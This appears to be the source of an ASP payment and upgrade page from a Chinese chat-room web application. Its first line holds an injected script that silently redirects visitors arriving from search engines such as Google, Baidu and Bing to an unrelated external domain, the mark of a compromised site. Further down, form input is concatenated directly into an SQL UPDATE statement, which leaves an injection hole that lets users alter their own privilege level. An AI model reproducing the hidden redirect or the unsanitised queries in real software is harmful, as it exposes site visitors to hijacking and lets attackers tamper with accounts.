d:\wwwroot\wuchunhua\liaotianim\pay.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="inc/DAL.asp"-->
002: <%
003: On Error Resume Next
004:
005: if Session(Session_UserID_Arg)="" then RW "<script>location.href='../"&Web_Log_URL&"';</script>":response.end()
006: dim usermoney
007: usermoney=GetPowerInfo(GUInfo("User_Power"),"Power_Money")
008:
009: if request.form("Method")="PayFor" then
010:     dim PM,CMM
011:     CMM=GUInfo("User_Money")
012:     PM=Cint(getMoney(GetPowerInfo(request.form("PayNum"),"Power_Money"),1))
013:     if (PM-CMM)>0 then rw "<script>alert('您的余额不足以支付升级费用,请充值');history.back(-1);</script>":response.end
014:     if PM<1 then rw "<script>alert('升级费用数目异常,系统判定为非法操作!');history.back(-1);</script>":response.end
015:     DB_CONN.EXECUTE("update [XK_User_Info] set [User_Money]=[User_Money]-"&PM&" , [User_Power]="&request.form("PayNum")&" where [User_ID]="&Session(Session_UserID_Arg)&" ")
016:     rw "<script>alert('成功升级!');location.href='Pay.asp';</script>":response.end
017: end if
018:
019: if request.form("Method")="PayForRMB" then
020:     rw "<script>alert('尚未整合支付宝接口,请联系官方网站进行支付宝整合(收费)!');history.back(-1);</script>":response.end
021: end if
022:
023: function getMoney(powermoney,Ftype)
024:     dim RmbExchange
025:     RmbExchange=Cint(SysConfig("RmbExchange"))
026:     powermoney=Cint(powermoney)
027:     usermoney=Cint(usermoney)
028:     if Ftype=1 then
029:         getMoney=(powermoney-usermoney)
030:     else
031:         getMoney=Cint((powermoney-usermoney)/RmbExchange)
032:     end if
033: end function
034:
035:
036: dim ConfigRS
037: Set ConfigRS=DB_CONN.EXECUTE("select * from [XK_Power] where [Power_Money]>"&usermoney&" order by [Power_Sort] desc")
038: %
>
039:
040: <html>
041: <head>
042: <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
043: <title>充值中心 - <%=SysConfig("System_Name")%></title>
044: <meta name="keywords" content="ImChat V1.5 Power By XKnet.net">
045: <meta name="description" content="ImChat V1.5 Power By XKnet.net">
046: <link href="CSS_Custom/style.css" rel="stylesheet" type="text/css" />
047: <style>
048:    *{font-family:"微软雅黑";}
049:    .body{ background-image:url(images/RoomBg.jpg); background-repeat:no-repeat; background-position:center 100px;}
050:    .btn{background: url(SysTem_Manage/themes/blue/img/bg_buttons.png) repeat-x top; border: 1px solid #0D87AE!important; color: #fff; font-size: 11px; padding: 7px 10px; boirder-radius: 7px; -moz-border-radius: 7px; font-weight: 700; border: none;}
051:     .btn:hover {background: url(SysTem_Manage/themes/blue/img/bg_buttons.png) 0 -50px; border: 1px solid #005977; cursor: pointer;}
052:     .inputbox{height:26px;}
053:     .leftnav li{text-align:center;}
054:     .leftnav li a{margin-left:20px;margin-bottom:5px;text-align:center;display:block;height:64px;line-height:64px;}
055:     .leftnav li a:hover{background-position:bottom left;}
056:     .UserInfo{background: url(images/userinfo.png) no-repeat top left;}
057:     .UserRoom{background: url(images/UserRoom.png) no-repeat top left;}
058:     .UserFriend{background: url(images/UserFriend.png) no-repeat top left;}
059:     .title{background: url(images/titlebg.png) no-repeat 0px -20px;height:300px;text-align:center;width:35px;color:#333;padding-top:20px;letter-spacing:6px;*padding-top:0px !important;_padding-top:20px;padding-left:3px;line-height:18px;color:#555;}
060:     .title span{background: url(images/dot.png) no-repeat;padding-top:20px;width:15px;}
061:     .UserPhoto{width:100px;height:100px;margin-top:1px;margin-left:1px;}
062:     .photodiv{float:left;width:102px;*width:104px; height:102px;*height:104px;border:#ccc solid 1px;}
063:     .line{clear:both;line-height:5px;height:5px;}
064:     .text{background: none repeat scroll 0 0 transparent;border: 0 none;background-position: 0 -72px;border: 1px solid #C1C1C1;color:#444444;font-size: 14px;height: 30px;padding: 4px 5px 4px 0;width: 300px;padding-left:10px;}
065:     .itemtitle{float:left;height:28px;width:40px;line-height:28px;border:#ddd solid 1px;margin-right:3px;background: url(images/glassbg.png) bottom left no-repeat;text-align:center;color:#999}
066:     textarea{border: 1px solid #C1C1C1;background: none repeat scroll 0 0 transparent;width:300px;}
067:     select{height:30px;border: 1px solid #C1C1C1;background: none repeat scroll 0 0 transparent;}
068:     .radio{}
069:     .btn-ok{background-image: url("images/global.png");background-color: transparent;background-position: 0 -288px;border: 0 none;cursor: pointer;height: 39px;margin: 10px 20px 10px 0;vertical-align: middle;width: 76px;margin-left:45px;}
070:     
071:     
072:    .RoomList{ width:80%; text-align:center; margin:0 auto; padding-top:20px;}
073:    .RoomList ul{ list-style:none; padding:0px; margin:0 auto;}
074:    .RoomList ul li{ float:left; width:135px; height:135px; text-align:center; font-size:12px;}  
075:    .RoomList ul li a.RoomName{ color:#666; line-height:20px; text-decoration:none; font-weight:bold; padding:2px;}
076:    .RoomList ul li a.RoomName:hover{ background-color:#3399FF; color:#FFFFFF;}
077:    .RoomList ul li a.vip{padding-left:20px;background-image:url(images/vip.png);background-repeat:no-repeat; background-position:0px 5px;}
078:    .RoomList ul li a.RoomInfo{ color:#999999; line-height:18px; text-decoration:none;}
079:    .RoomList ul li a.RoomInfo:hover{ text-decoration:underline; }
080:    .RoomList ul li a div{ width:100px; height:70px; *width:106px; *height:76px;border:#00AAFF solid 1px; padding:2px; margin:0 auto;overflow:hidden;}
081:    .RoomList ul li a img{ width:100px; height:70px; margin:0px;padding:0px; cursor:pointer;}
082:    .RoomList ul li a:hover div{ border:#FF6699 solid 2px; padding:1px;}
083:    .RoomList ul li .br{ line-height:3px; height:3px;}
084:    .RoomList ul li a.apply div{border: 1px dashed #CCC;background-color:#f5f5f5;line-height:70px;padding:2px; margin:0 auto;}
085:    .RoomList ul li a.apply:hover div{border:#FF6699 dashed 1px; padding:2px;cursor:pointer;}
086:    .OnlineNum{  
087:         background-image: url(images/maxnum.png); background-repeat:repeat;
088:         border-top: 1px solid #FFFFFF;
089:         bottom: 17px;
090:         color: #333333;
091:         font-size: 12px;
092:         height: 16px;
093:         padding: 0;
094:         position: relative;
095:         right: 0px;
096:         font-size:12px;
097:     }
098:    .OnlineNum span{color:red;}
099:    .RoomList ul li a .add{background: url(images/a1.png) no-repeat scroll center center transparent; border: 1px dotted rgb(255, 102, 153);}
100:    .RoomList ul li a:hover .add{border:#FF6699 solid 2px; padding:1px;cursor:pointer;}
101:    .RoomList ul li a.addico{padding-left:18px;background-image:url(images/add.png);background-repeat:no-repeat; background-position:0px 5px;}
102:     
103:     .png{}
104:     
105:     div{border:#ccc solid 0px;}
106:     .PayTable{border-right:#ccc solid 1px;border-top:#ccc solid 1px;margin: 0 auto;}
107:     .PayTable td {border-left:#ccc solid 1px;border-bottom:#ccc solid 1px;height:45px;}
108:     .PayTable th{border-left:#ccc solid 1px;border-bottom:#ccc solid 1px;height:50px;}
109: </style>
110: <script>
111:     var RmbExchange=<%=SysConfig("RmbExchange")%>;
112:     function SYB(e)
113:     {
114:         document.getElementById("YB").innerHTML=parseInt(e.value)*RmbExchange;
115:     }
116: </script>
117: </head>
118: <body>
119: <table class="body" width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
120:   <tr height="70px">
121:     <td style="text-align:center;"><div class="top">
122:    <div style="width:90%; margin:0 auto;"><a href="index.html" style="float:left;"><img src="images/logo.gif" border="0" /></a>
123:     <a href="inc/ValidLogin.asp?Out=true" title="退出" class="logout"></a>
124:     <a href="javascript:\\;" title="加入浏览器收藏夹" onClick="window.external.AddFavorite(location.href,document.title);" class="fav"></a>
125:     <a href="RoomList.asp" title="房间列表" class="RList"></a>
126:     <a href="Member.asp" title="用户中心" class="user"></a>
127:     <a href="Pay.asp" title="充值" class="pay"></a>
128:     </div>
129:     </div></td>
130:   </tr>
131:   <tr>
132:     <td valign="top">
133:         <div style="float:left;width:7%;text-algin:center;min-width:85px;_width:85px;_overflow:visible;">
134:             <ul class="leftnav">
135:                 <li><a href="Member.asp" title="我的资料" class="png UserInfo"></a></li>
136:                 <li><a href="MyRoomList.asp" title="我的房间" class="png UserRoom"></a></li>
137:                 <li><a href="#" title="我的好友" class="png UserFriend"></a></li>
138:             </ul>
139:         </div>
140:         <div style="float:left;width:4%;text-align:center;">
141:             <div style="width:100%;margin:0 auto;">
142:                 <div class="title png">
143:                     <span class="png">充值中心</span>
144:                 </div>
145:             </div>
146:         </div>
147:         <div style="float:left;width:78%;text-align:center;">
148:             <div style="width:90%;margin:0 auto;text-align:left;padding-top:30px;">
149:                 <form id="PayForm" action="pay.asp" method="post">
150:                 <table class="PayTable" width="600" height="100%" border="0" cellspacing="0" cellpadding="0" align="center">
151:                     <tr>
152:                         <th width="150">
153:                             用户类别
154:                         </th>
155:                         <th>
156:                             升级费用(RMB)
157:                         </th>
158:                         <th>
159:                             选择
160:                         </th>
161:                     </tr>
162:                     <%
163:                     while not ConfigRS.eof
164:                     %
>
165:                     <tr>
166:                         <td>
167:                             <%
168:                             if ConfigRS("Power_UserIcon")<>"" then rw "<img src="""&ConfigRS("Power_UserIcon")&""">" end if
169:                             rw " "&ConfigRS("Power_Name")
170:                             %
>
171:                         </td>
172:                         <td>
173:                             <%=getMoney(ConfigRS("Power_Money"),1)&SysConfig("Money_Name")&" / "&getMoney(ConfigRS("Power_Money"),2)&"元"%>
174:                         </td>
175:                         <td>
176:                             <input type="radio" id="PayNum" name="PayNum" value="<%=ConfigRS("Power_ID")%>" checked="checked">
177:                         </td>
178:                     </tr>
179:                     <%
180:                     ConfigRS.MoveNext
181:                     wend
182:                     %
>
183:                     <tr>
184:                         <td colspan="11">
185:                             <input type="hidden" name="Method" value="PayFor">
186:                             <a href="javascript:PayForm.submit();" style="display:block;height: 38px; width: 75px; background: url(images/global.png) no-repeat scroll 0pt -287px transparent;margin: 0 auto;">
187:                         </td>
188:                     </tr>
189:                 </table>
190:                 </form>
191:                 <br>
192:                 <form id="PayRmbForm" action="pay.asp" method="post">
193:                 <table class="PayTable" width="600" height="100%" border="0" cellspacing="0" cellpadding="0" align="center">
194:                     <tr>
195:                         <th>
196:                             支付宝现金充值
197:                         </th>
198:                         <th>
199:                             当前充值汇率:1元=<font color="red"><%=SysConfig("RmbExchange")%></font><%=SysConfig("Money_Name")%>
200:                         </th>
201:                     </tr>
202:                     <tr>
203:                         <td>
204:                             金额
205:                         </td>
206:                         <td>
207:                             <select id="PayNumRmb" name="PayNumRmb" style="width:100px;" onchange="SYB(this);">
208:                                 <option value="10">10元</option>
209:                                 <option value="50">50元</option>
210:                                 <option value="100" selected="selected">100元</option>
211:                                 <option value="200">200元</option>
212:                                 <option value="500">500元</option>
213:                                 <option value="1000">1000元</option>
214:                                 <option value="5000">5000元</option>
215:                                 <option value="10000">10000元</option>
216:                                 <option value="50000">50000元</option>
217:                             </select>
218:                             &nbsp;
219:                             <label id="YB" style="color:red;"></label><%=SysConfig("Money_Name")%>
220:                             <script>SYB(document.getElementById("PayNumRmb"));</script>
221:                         </td>
222:                     </tr>
223:                     <tr>
224:                         <td colspan="11">
225:                             <input type="hidden" name="Method" value="PayForRMB">
226:                             <a href="javascript:PayRmbForm.submit();"><img src="images/Alipay.png" height="35" border="0"></a>
227:                         </td>
228:                     </tr>
229:                 </table>
230:                 </form>
231:             </div>
232:         </div>
233:     </td>
234:   </tr>
235: </table>
236: <!--[if IE 6]>
237:     <script type='text/javascript' src='js_Custom/DD_belatedPNG_0.0.8a-min.js'></script>
238:     <script type='text/javascript'>
239:       DD_belatedPNG.fix('.png,.vip,.IsVideo,.OnlineNum,.add');
240:     </script>
241: <![endif]-->

242: <div style="visibility:hidden;display:none;">
243: <script type="text/javascript" src="js/ext-base.js"></script>
244: <script type="text/javascript" src="js/ext-all-debug.js"></script>
245: <img src="images/logo.gif">
246: <img src="images/dgbg.jpg">
247: <img src="css/ext-all.css">
248: <img src="css_custom/layout.css">
249: <div>
250: </body>
251: </html>
252:
253:
254:
255: